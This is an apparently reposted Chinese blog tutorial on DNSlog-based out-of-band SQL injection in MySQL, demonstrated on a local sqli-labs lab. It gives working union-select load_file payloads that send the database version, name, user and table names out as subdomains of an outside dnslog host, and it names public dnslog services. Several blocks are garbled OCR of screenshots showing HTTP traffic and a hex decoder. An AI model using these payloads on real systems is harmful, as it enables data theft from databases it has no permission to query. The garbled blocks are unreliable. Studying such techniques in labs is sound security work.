利用dnslog进行sql注入

更多内容,欢迎关注微信公众号:信Yang安全,期待与您相遇。

能够利用dnslog进行注入的两个关键点:secure_file_priv 不能为NULL,仅支持 Windows但不支持 Linux

show variables like '%secure%';查看load_file()可以读取的磁盘。

1、当secure_file_priv为空,就可以读取磁盘的目录。

2、当secure_file_priv为G:\,就可以读取G盘的文件。

3、当secure_file_priv为null,load_file就不能加载文件。

为了达到实验目的,在本地虚拟机环境进行调试。

mysql配置文件进行如下改动

my.ini 设置为secure_file_priv=空  然后重启 进入数据库验证 show variables like '%secure%'

这里使用sqlilabs的环境,如下图基本时间盲注判断

计算机生成了可选文字:
Request
ParamsHeadersHex
GET/sqlilabs/Less-S/?id=1%27%20AND%20SLEEP(S〕%20一一+HITP
Host:192.15&35.132
Upgrade-Insecure-Requests:1
User-Agent:Mozi巧.0OuVindowsNT100AOA54
14.0
Response
HeadersHexHTMLRender
HITP/I.1200OK
Date:Fri,01Nov201908:10℃5GMT
Server:Apache/2.4.230in32〕OpenSSL/1.0.2jPHP/5」」5
X-Powered-8y:PHP/5」」5
Content-Length:720
Connection.Close
Content-Type:text/html
<!DOCTYPEhtmlPUBLIC.一//':.BC,夕D丆DX1Transitional//EN"
AppleWebKit/S37.36(KHTML,likeGecko〕Chrome/6S.0.
Safar丿537.35SE2MetaSr1.
Accept:
e/apng,*/*,q=0.8
Accept-Language:Zh-
Connection.Close
n巳
text/html,application/xhtml+xml,application/xml,q=0.9,image/webp,imag
CN,zh;q=0.9
Typeasearchrm
0matches
"http://mvw.w3.org/TR/xhtm11/DTD/xhtm11-transitionaLdtd">
<htmlxmlns="http://www.w3.org/1999/×htm">
<head>
<metahttp-equiv="Content-Type"c0ntent="text/html;
charset=utf-8"/>
<title>Less-5DoubleQuery-SingleQuotes-String</title>
</head>
<bodybgcolor=引#000000引>
<divstye=margin-top:60px;color.#FFF•font-size:23px;
text-align:center">Wclcomc&nbsp;&nbsp;&nbsp;<font
color=
"#FF0000引>Dhakkan</font><br>
<fontS=
3引color:"#FFFFOO">
<fontSize:
骂"color:"#FFFFOO"></br></font><fontcolor:
"#0000ff"fontsi7P=3>
Typeasearchrm
matches
924bytes《5,022millis

查询数据库版本' union select load_file(concat('\\\\',version(),'.XXX\\aaa')),2,3%23

回到dnslog查看,成功返回数据库版本信息

查询数据库名' union select load_file(concat('\\\\',database(),'.t00ls.XXX.tu4.org\\aaa')),2,3%23

 

查询当前用户@符号在查询时要使用hex函数进行16进制编码' union select load_file(concat('\\\\',(select hex(user())),'.t00ls.XXX.tu4.org\\abc')),2,3%23

返回结果为编码后的

726F6F74406C6F63616C686F7374进行解码

计算机生成了可选文字:
Hex编码/解码
在下面的文本框内输入需要处理的内容
囗带%亻寸号
root@localhost
UTF-8
GB2312
编码
解码'

 

查询数据库表名

' union select load_file(concat('\\\\',(select hex(group_concat(table_name)) from information_schema.tables where table_schema='security'),'.t00ls.XXX.tu4.org\\aaaa')),2,3%23

一样这里用的group_caoncat函数也是需要转码的656D61696C732C72656665726572732C756167656E74732C7573657273解码后如下

计算机生成了可选文字:
0
https://www.
107000.com/T一He×/
Hex编码/解码
回.'回
在下面的文本框内输入需要处理的内容
囗带%亻寸号
emails,referers,uagents,users
UTF-8
GB2312
编码
解码

我这里演示用的是吐司的dnslog,同样别的平台也是可以的,推荐几个平台:http://www.dnslog.cn/、http://ceye.io/

更多内容,欢迎关注微信公众号:信Yang安全,期待与您相遇。

 

 

猜你喜欢

转载自www.cnblogs.com/Yang34/p/11809539.html